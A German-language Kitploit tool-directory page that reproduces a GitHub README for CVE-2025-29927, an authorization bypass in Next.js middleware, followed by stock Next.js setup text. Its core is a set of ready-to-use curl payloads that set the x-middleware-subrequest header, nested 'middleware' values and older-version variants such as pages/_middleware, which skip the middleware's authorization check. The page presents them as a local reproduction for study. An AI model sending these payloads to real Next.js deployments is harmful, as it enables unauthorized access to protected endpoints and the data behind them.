Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/huynguyen12536/cve-2025-2995
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubhuynguyen12536/cve-2025-2995

CVE-2025-2995

Reproduktion von CVE-2025-29927 Autorisierungsumgehung in Next.js Middleware, mit curl-basierten Exploitation-Payloads für mehrere Versionen.

Repository anzeigen
vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-29927 Umgehung der Autorisierung – Reproduktion

Dieses Repository reproduziert die Sicherheitslücke CVE-2025-29927 im next-Paket.

So reproduzieren Sie

  1. Befolgen Sie die nachstehenden Schritte, um die Next.js-Anwendung zu klonen und auszuführen
  2. Testen Sie, ob die Autorisierung den Zugriff auf den Endpunkt /api/hello verweigert
root@kitploit:~
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. Testen Sie, ob die Autorisierung funktioniert, wenn ein Token bereitgestellt wird
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. Nun kann sie auch umgangen werden, wenn wir middleware 5x in den speziellen Header verschachteln:
x-middleware-subrequest
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Ausnutzung von CVE-2025-29927 für ältere Next.js-Versionen

Die Next.js-Versionen 12 und 13 hatten eine andere Namenskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 in middleware.js geändert wurde. Diese Sicherheitslücke kann in älteren Versionen durch Verwendung der Datei _middleware.js ausgenutzt werden.

Zum Beispiel würden die folgenden Payloads je nach Next.js-Version und Ihrer Routing-Konvention angewendet:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js-Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht im pages-Verzeichnis)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js-Versionen 11 bis 12.2)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Erste Schritte

Führen Sie zunächst den Entwicklungsserver aus:

root@kitploit:~
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Öffnen Sie http://localhost:3000 in Ihrem Browser, um das Ergebnis anzuzeigen.

Sie können mit der Bearbeitung der Seite beginnen, indem Sie app/page.js ändern. Die Seite wird automatisch aktualisiert, während Sie die Datei bearbeiten.

Dieses Projekt verwendet next/font, um die neue Schriftfamilie Geist für Vercel automatisch zu optimieren und zu laden.

Weitere Informationen

Um mehr über Next.js zu erfahren, werfen Sie einen Blick auf die folgenden Ressourcen:

  • Next.js-Dokumentation – Erfahren Sie mehr über Next.js-Funktionen und die API.
  • Learn Next.js – Ein interaktives Next.js-Tutorial.

Sie können sich das Next.js GitHub-Repository ansehen – Ihr Feedback und Ihre Beiträge sind willkommen!

Bereitstellung auf Vercel

Der einfachste Weg, Ihre Next.js-App bereitzustellen, ist die Nutzung der Vercel-Plattform von den Erstellern von Next.js.

Weitere Einzelheiten finden Sie in unserer Next.js-Bereitstellungsdokumentation.

Tool herunterladen